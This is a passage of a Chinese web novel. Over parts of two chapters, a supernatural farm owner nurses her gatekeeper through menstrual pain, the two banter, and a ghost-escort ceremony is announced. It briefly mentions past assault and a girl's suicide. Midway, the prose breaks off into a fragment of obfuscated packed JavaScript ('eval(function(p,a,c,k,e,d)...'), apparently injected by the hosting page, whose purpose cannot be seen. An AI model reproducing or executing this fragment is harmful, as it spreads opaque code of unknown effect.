昨天做的茶叶蛋还有不少,泡了一晚上更入味,她剥了两个丢进碗里,沾着酸汤咬开,里面的蛋黄都浸透了章尾凫的茶香,如此美味的茶叶蛋光自己吃多没劲,她又给阮鲸落出骚主意—— “你支口锅在大门口卖茶叶蛋呗,早上进农场的人还是很多的,没吃早饭的也多,这门生意很划算。” 相比于米线、米粉,阮鲸落更喜欢吃面,不过来云黔这么久,也习惯了,更别说陆首秋家的东西还很好吃。 蛋黄很噎人,她端起碗喝了口汤,“你怎么不说让我在大门口开个早餐铺。” “可以啊!”陆首秋立马拍板,生怕对方反悔。 “……”放弃沟通。 陆首秋完全沉浸在开早餐铺的伟大事业中,吃完了米线还一直跟在阮鲸落屁股后面逼逼叨叨,让她务必抓紧时间把计划落地实行。 阮鲸落受不了,“你要闲着没事就去帮村民干活,一天天吃饱了撑的。” 出门之前她往口袋装了两把扁米,大门口的墙头有很多鸟雀,她每天都会带点东西过去喂它们,这些小家伙也很通人性,她被村民叫开的时候会帮忙看守大门,不让外来车辆扰乱刚建起来的秩序——谁的车敢乱停乱放,挡风玻璃肯定全是鸟屎。 “啾啾啾……”她招呼墙头的鸟雀下来,“给你们带口粮啦,吃吧。” 眨眼间,一大群雀儿就叽叽喳喳飞扑,密密麻麻,场面十分壮观。 这个守门人可以啊,敢拿首秋大人的粮食来喂它们,头铁,狠人。也是看在她每天喂食的份上,雀儿们才联系临东那边的同族去阮家村捣乱,算是报答阮鲸落的投喂之恩。 薛彩云发的微信阮鲸落看了,没回。 叫她回家?呵…… 她哪儿有家。 . 农场一年三百六十五天都是丰收状态,今天后村在收海菜花,陆首秋作为热心的农场主前来帮忙。 海菜花长在湖里,她和村民一起划小船到湖中心采捞,说海菜花可能没人知道,但提起‘水性杨花’肯定有人感兴趣想品尝,每次捞上来的海菜花在神仙集市都能售空,鬼寨的蚕豆米海菜花汤也是网红的招牌菜之一。 青绿的花苗从湖底长出来,白色的小花漂浮在水面,海菜花的花期只有一天,为保证新鲜,村民都是每天一大早就来采摘,坐在小船上将海菜花从湖里一根根拔出来,捆成小捆,换上防水服的陆首秋就划另外一艘小船帮村民将成捆的海菜花运到岸边。 生活在外围的仙民看上去跟普通人没两样,平时干活也是亲力亲为,他们既不会腾云驾雾、也不会点石成金,陆首秋混在其中,除了脸长得漂亮外,也看不出任何不同,从岸边经过的生人还夸她能干,又问她有对象没有。 她擦一把脑门上的汗珠,表情带着三分哀伤七分劳累,唉声道:“我家那口子几年前就抛下我去了,我一个寡妇守着几亩地生活,日子过得清苦,现在靠给村里人帮工挣点钱。” 说着说着就装模作样哭起来,搞得问话那几个阿姨觉得自己犯了天条,就不该多那一句嘴,哎呦,可怜啊,年纪轻轻就守寡。 “就没想过再找一个?你模样长得标志,不愁找不到好的。” 不提还好,一提哭的更伤心,都快肝肠寸断了,“呜呜呜……算命的说我克夫,谁敢要我啊呜呜呜呜……” 阿姨们:完了,那是真没人敢,都怕死。 “你们别听她瞎扯,”被村民拉来当免费劳动力的阮鲸落听不下去了,挤进来把还哭哭啼啼的陆首秋拽到没人的地方,“你这爆棚的表演欲什么时候才能停一停?上瘾了是吧。” “生活无聊,我给自己找点乐趣都不行啊。” “你可以找别的乐趣。” “?” 阮鲸落脸色有些不好,“克夫不是拿来当玩笑的。” 13. 第 13 章 农场的活很多,吃过午饭还要去地里抽芋头花,这是专门大面积种植的紫芋,杆子长得比成年人都高,皮是紫红色,花苞是淡黄色,食用部分就是长在中心的芋头花,像抽蒜苔一样抽出来,一根有拇指大小,半米长是最嫩的,太长就老了,不好吃。 陆首秋从高大的芋头苗缝隙偷瞄阮鲸落,这人从上午到现在就一直臭着个脸。 “阿落……” 不就是开了个玩笑,活跃一下气氛,又没怎样,干嘛一直生气到现在。 天热,闷在地里一点都不好受,阮鲸落的小脸白得跟纸一样,连嘴唇都没有血色,她瞥了瞥视线,不搭理伸手指揪她衣服的陆首秋。 她没有为上午的事生气,她只是肚子不舒服,没力气跟陆首秋闹。 干到一半阮鲸落就撑不住先回去了,她的手一直捂着肚子,腰背微微佝偻,双腿像坠着千斤似的迈的特别拖沓沉重,走两步又停下歇歇,身上一直冒虚汗,唇色也越来越白,在快要摔倒的时候有双手从后伸过来搀住了她。 “身体不舒服吗?” 经期低血糖带来的头晕目眩让阮鲸落十分难受,下腹像有东西在搅一样痛,她连直起身站好的力气都没有,整个人只能虚弱的靠在陆首秋怀里,忍痛喘气,苍白的唇开合,嗯了一声。 陆首秋低头看她,没再说什么,眨眼就将人带回鼓楼安置到卧房的床上。 阮鲸落昏昏沉沉的,也不知道自己是怎么回来的,身体挨到柔软的床铺时才感觉舒服了点,还没等她喘匀一口气,腹部的绞痛又开始袭卷,她侧身屈起双腿,将身体弓成一只虾的形状,手握拳抵在痛得最厉害的中心点,咬紧牙了还是有痛吟从唇缝蹦出去。 她痛经很严重,每个月都会经历这么一次,开始吃布洛芬还管用,后来免疫了就只能强忍着,忍不了了就找个没人的地方躲起来打滚。 她试过很多种方法,热水泡脚、艾灸、贴暖宝宝、喝红糖水等等,都没有用。 “嗯……嘶嗯……”她缩在床上嘶嘶抽气。 陆首秋站在床边,难得拧起好看的秀眉,即使投胎为人时她也没有痛觉,并不能感同身受,可看着阮鲸落这么难受,她心里也不是滋味,心脏的位置传来很陌生的微微触动。 她招来狸花让其去后村找医圣,“就说我这里有个要紧的病人,让他马上过来。” “喵~” 狸花眨眼消失,没到半分钟就带着医圣老头儿重回鼓楼。 老头儿胡子花白,背着个小药箱,仅剩的几根头发很凌乱,可见来的匆匆忙忙。 “首……” 他才要问好,就被陆首秋抬手制止,“阿落肚子疼得厉害,你给看看。” 别看医圣一大把年纪,是个受人尊敬的老者,但他在陆首秋这样的老古董面前都只能称晚辈,再者,如今农场谁不知道新来的守门人阮鲸落很得首秋大人的青睐,甚至传出来一个说法:讨好阮鲸落就能讨好首秋大人。 医圣不敢怠慢,上前去给阮鲸落把脉,经期疼痛这一症状对妙手回春的医圣老头儿来说不棘手,他从随身带来的药箱拿出金针先给阮鲸落扎了两下,待疼痛减轻之后才开药方。 “药汤是一天服两剂,熬好了我让药童送过来,先服七天,等停了经再换药方,痛经这病急不得,要慢慢调理,哦,还有,”他又掏出一瓶药丸,“这是养身暖宫的药丸,每天晚上睡前用温的益母草口服液化开吃一粒,用药期间忌生冷、辛辣、海鲜等发物,往后也要少吃冰的凉的,小姑娘身体虚得很,湿气又重,不注意着养生以后老了可有得罪受。” 阮鲸落不知道这老中医什么路数,挺厉害的,扎了两针肚子就不怎么痛了,但她还是提不上力气,紧接着就犯困,连续几天满腹心事晚上睡不着的疲累在此刻淹没了她,她没听清后面老大夫跟陆首秋说了什么就沉入了梦乡。 陆首秋没让医馆的药童帮煎药,是拿回鼓楼自己煎的。 医圣嘱咐了是饭后喝,所以煎药的同时她又熬了点鸡肉烂饭,没放薄荷,怕冲了药性,只撕了点香菇条下去。 “阿落不吃折耳根阿落不吃折耳根阿落不吃折耳根……”她反复念叨这句话来提醒自己别又本能的抓一大把折耳根丢进去煮。 阮鲸落睡得很沉,圆月高挂夜空了才醒,只觉胸口压着坨重物,险些让她背过去。 她艰难起身,掀开被子一看,全是肥肚腩的狸花滚落到边上,毛发睡得乱七八糟,仰躺着摊开四肢露出肚皮抻懒腰,冲她喵了一声。 “狸花?”就说呢,怎么梦里有团火在烤自己,浑身都暖洋洋。 陆首秋一手端饭一手端药,用屁股撞开房门进来,“我估摸你睡了这么久也该醒了,好点了吗?还疼不疼?” 她把东西放到桌上。 “好多了,”阮鲸落犹豫了下,“谢谢。” 陆首秋把桌子挪过来,又倒了杯温水,“先用水漱漱口再吃点东西,然后把药喝了,你也是的,身体不舒服也不早说,还去地里干活,早上你晕倒我还以为只是低血糖。” 阮鲸落靠在床头,狸花借机挤到她怀里,在她有一下没一下的抚摸下发出舒服的噜噜声。 “谢谢……”除此之外她都不知道该跟陆首秋说什么。 从小到大没人如此照顾过生病的她,工作时不管多不舒服她都请不到假,在那个家时就算痛死也换不来一句关心,更别说有人准备吃的,她以前疼的晕在地上都没人发现,醒了又自己爬起来,肚子饿得抽筋,又把吃下去的止痛药吐出来,这些她都一个人默默扛下来了,而且一抗就是很多年。 她有点想哭,又不想让陆首秋看见自己的软弱,便低下头撸猫。 阮鲸落疼到蜷缩在床上呻/吟的画面至今还在陆首秋的脑海里很鲜明,那是一种难以形容的酸涩,此前从未有过,不清楚这种感觉从何而来,但她知道自己不想看阮鲸落再受这样的痛苦,便把药碗往前推了推,难得以强势的口吻让阮鲸落遵医嘱。 “喝光,不许剩下。” 阮鲸落没有喝过中药,只是听人说苦得很,她以为自己能忍受,还有什么比生活更苦,但她还是低估了中药的魔性,那不是单纯的苦,还带着酸、涩,各种难言的滋味混合在一起,直冲天灵感,才喝了一口就逼得她捂嘴干呕。 我擦…… 陆首秋哎哟一声,手忙脚乱扯纸巾,“没事吧没事吧?” 肠胃因为这口要命的中药已经在翻江倒海了,硬生生忍下,阮鲸落撑着床沿,发丝凌乱,“你说呢,苦死了,怎么会这么苦!” 她要是个富婆,都怀疑陆首秋这是借着中药谋财害命,这是给人喝的吗! “良药苦口啊,”陆首秋帮她捋掉下来的发丝,露出她漂亮但现在真的挺惨兮兮的小脸蛋,哄道,“屏住呼吸,一口闷,很快就过去了。” 想到要连喝七天,一天两次,阮鲸落就想死,老大夫还说后面会换药方,就更想死了。 她捏住鼻子,憋着气一口喝光,哐当放下碗,呕—— 陆首秋在旁鼓掌以示鼓励,“哦豁!阿落厉害!好棒棒!” 满嘴都是中药的苦酸味,阮鲸落感觉灵魂从自己的天灵盖飘出,她伸手一把握住陆首秋他么在鼓掌的手,咬牙道:“你够了啊,幸灾乐祸,别让我抓到你生病,要不然……” 威胁之意明显。 陆首秋无所畏惧,“哈,我不可能生病的,你没有这种机会。” “话别说太早。”又不是金刚铁打的,谁还能不生病。 “就是这么自信,”陆首秋把碗收了,将桌子挪回原处,“这两天你在家好好休息,别出去吹风。” 阮鲸落嘴上逞强,“我只是来例假,又不是坐月子,没这么娇贵。” “那也差不多了。” 陆首秋拿着碗下楼,她就熬了烂饭,还没有炒菜,她带阮鲸落回鼓楼之后村民送来了一大筐芋头花,还有海菜花,可以做个蚕豆海菜花汤,再炒个芋头花茄子。 她在厨房噼里啪啦忙活,没注意到阮鲸落是什么时候下来的,又在门口看了多久,等回头发现人—— “干嘛呀,都让你休息咯,怎么不听话啊,你是不是肚子还饿?喏……那个锅里还有,给你盛点?”她还以为阮鲸落没什么胃口吃饭咧。 兴许是快入秋了,晚上有些凉,阮鲸落披了件薄的旧外套,袜子也套上了,她脚冷,天生的,以前大夏天来例假她还会拿炉子烤脚,只为能舒服一点。 与她相比陆首秋就穿得很凉快,靛青色的长裤,裤脚挽的乱七八糟,上身一件象牙白的棉麻对襟衬衣,中袖的,袖口和衣领都有图腾刺绣,头上和身上的银饰拿掉了,只留下耳环和手镯。 她坐在小马扎上撕芋头花的外皮,再折成一指长的段丢进盆里用水先泡着。 眼看着阮鲸落拎过另外一把小马扎坐下,挽袖子想帮忙,被她给挡回去,崩溃状,“我不是真的周扒皮啊,员工生病还要干活!” 换以前阮鲸落肯定送她一个白眼,然后嘴贱的怼一句回去,但她今天格外安静,不让干就不干,乖乖坐在旁边看她弄。 这么老实?陆首秋一脸不信邪。 阮鲸落被她盯的不自在,那碗中药很管用,才这么一小会儿就让她的身体暖起来,脸都烫了,透出一层薄红,粉粉的,在灯光的映衬下格外好看。 “我脸上又没有花,别看了。” 陆首秋脸皮厚,向来都是只有自己不尴尬,尴尬的就是别人,她将小马扎往阮鲸落那边搬。 “花也没你好看啊。”发自肺腑的真话,虽然有调戏的嫌疑。 阮鲸落一直不喜欢别人夸自己好看,以前谁这样夸都会被她认为是臭流氓的骚扰,很不爽,遇上她心情不好还会当场翻脸。 她这张漂亮的脸蛋在过去非但没有为她赢得任何优待,反而招来很多不怀好意,她不会忘记高一的时候差点被…… “然后呢,好看又不能当饭吃。” “能啊,就是觉得你好看我才招的。”陆首秋又开始瞎说八道。 “呵。” “真的。” “要不要给你唱听我说谢谢你,因为有你温暖了四季。” “哈哈哈哈哈……”陆首秋趴着膝头差点笑死,“不要不要,不想听。” 阮鲸落拎起一根芋头花作势要打,嘴角却忍不住被她的笑声给引得向上扬,笑骂:“你这人,比我还能气人。” “哈?”陆首秋惊恐,“我一直都是人见人爱花见花开的!” 噗嗤—— 阮鲸落偏头。 她不常笑,经常都是绷着一张脸,遇到任何事都喜欢将眼珠子往上一翻,不耐烦和冷漠很明显,来农场这么多天,这还是第一次真真切切笑出来。 陆首秋见过很多很美的笑容,已经很难被打动,但她却喜欢阮鲸落的笑,像初春从化开的雪地骤然绽放的花,不需要知道花名,只要足够惊艳世人就行。 她从阮鲸落手里拿回芋头花,将顶端花苞的黄色花蕊摘掉,“芋头花吃过没?很好吃的,跟紫茄子一起炒简直绝配。” 对云黔这些奇奇怪怪的菜,阮鲸落有时候挺懵的,要上网看教程才知道怎么做,很多她也没有吃过,今天的海菜花和芋头花都是头次接触,遂摇了摇头。 “我老家北方的,一般菜市场有的菜我们那有,但云黔这边的大多数没见过。” 陆首秋已经很长时间没有离开过云黔了,对北方的冰雪世界印象很模糊,狸花倒是常常溜出去行走江湖,还路见不平拔刀相助。 据它自己吹牛说好几年前在临东潍山的巷道救过一个险些被坏胚子欺负了的少女,不过狸花那会正患老花眼,没能看清被救人的脸,只记得对方穿了xx附中的校服,是个女学生。 后来那坏胚子被狸花装神弄鬼吓得不轻,也不知道有没有精神失常。 “今晚的菜都没放辣椒,也没有折耳根,满意否?”没忘了医圣叮嘱过病号不能吃辛辣,炒菜的时候陆首秋留意了,控制住自己的爪子没伸进辣椒罐。 阮鲸落用小勺子兜起蚕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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逻辑出现漏洞,陆首秋哑口无言,耍起无赖,“我都无父无母了你还往我伤口上撒盐,不对,是揭伤疤,不厚道啊,亏我今天还这么照顾你,上哪找我这么好的雇主。” 阮鲸落:“真是时刻不忘往自己脸上贴金。” 陆首秋强词夺理:“那也要有金才能贴啊。” 跟这样一个没底线脸皮还厚的人吵嘴是吵不赢的,最后气死的只有自己,阮鲸落已经实战出经验了,闭嘴不言,乖乖吃饭。 早上起来就没看到昨晚那只小熊猫,吃完饭找了一圈也没有见到,阮鲸落奇怪,跑去问在厨房洗碗的陆首秋——做饭不洗碗这条规定因为家里有病号,暂时不作数了。 “出去玩了呗,放心,走不远的,过几天就回来了。”只要她没下令送回深处,跑出来的这些就不可能自己回去,肯定躲谁家玩了。 阮鲸落有点不放心,“安全么?外面常有人路过,万一见到起歹心怎么办。” “那不是二级保护嘛,谁会想不开动它啊,牢底都坐穿。” “你最好别对人性报太大希望,否则会很失望。” “听起来你很有经验噢。” “没办法,姐踩过的坑太多了,都是血的教训。” 陆首秋甩甩手上的水珠,“第一次有人敢在我面前称姐的。” “我就是比你大啊。” 按照生人的年纪算,这是事实,陆首秋无话可说,她上一世没到二十就死了,父母死的更早,在她十六岁的时候,为此她还被迫看了一场很精彩的亲戚抢夺财产的大戏,都欺负她年纪小,不懂事,想霸占父母留给她的遗产,最后亲戚当然是竹篮打水一场空,跟她抢东西?想死么。 但她现在又不是生人,“我喊你一声姐,你敢答应吗?” 阮鲸落:“你喊我孙行者我都敢答应。” 胆子不小,陆首秋心想,以后知道我不是人了不知道会不会吓哭。 . 引亡魂在来的路上,谢必安提前给陆首秋发了条消息——科技在进步,各界也都跟风,工作能微信发文字聊就发文字,千万别搞隔空传音那套,受不了的,谁都不想被迫加班到没有私人空间。 “女,未成年,自杀,死前遭受侵害,申请特殊引渡。” 陆首秋像个老妈子叮嘱完阮鲸落睡前要把药丸吃了,口服液都给她温好了,这可是医馆很抢手的专为女性量身定制的益母草口服液,能美容养颜、养血养气、活血调经,喝过的都说好。 看到这条消息,她叹了口气,唉…… “批准。” 特殊引渡是针对某一类情况特殊的亡魂,方式方法也都不一样。 咚——咚——咚—— 牛皮大鼓提前被敲响,还是连着三声,这是一种信号,凡是听到的仙民、鬼怪都盛装来到农场大门前的路旁,璀璨的银饰和夜空的星河交相辉映。 一轮圆月高挂,银色铺满大地。 生人们挤在外边看热闹,熟知情况的向不知道怎么回事的人科普:“哦,这个啊,每隔一段时间就有的,据说是农场的传统节目,等会还有辆车呢,挺好看的,不知道是什么牌子,银色的,每次都有个女孩从车上下来,身边跟两个保镖,一黑一白,就跟黑白无常似的,不许任何人靠近。” 阮鲸落本来都要睡了,听到鼓声又爬起来站在窗边看。 今晚这么热闹? 正疑惑,陆首秋敲门探头进来问:“没睡呢吧?” 阮鲸落指指窗外,“下面在干嘛?” “临时活动。” “?”什么玩意儿。 陆首秋没有解释,邀请道:“跟我下去接个人呗?” 特殊引渡的一个要求就是今晚农场所有物种都要到场。 “谁?” “仙女。” “???” 陆首秋想了想,说:“要是身体不舒服也可以不下去,肚子还疼吗?” “早不疼了。”阮鲸落穿上外套跟她下楼,今晚这个好奇心她非要满足了不可。 陆首秋也换了盛装,跟以往的靛青色、黑色都不一样,这次是大红色为主,头上的银饰也是花冠,层层叠叠拥簇着,随着她下楼的步调,银饰小花也跟着晃动,那一串串叮叮当当的声音格外好听。 阮鲸落一直好奇这样一套银饰到底有多重,是真银还是银铜,她以前就听人说这边的女孩在很小的时候家里就会为她们打银饰,一整套的,待出嫁时穿。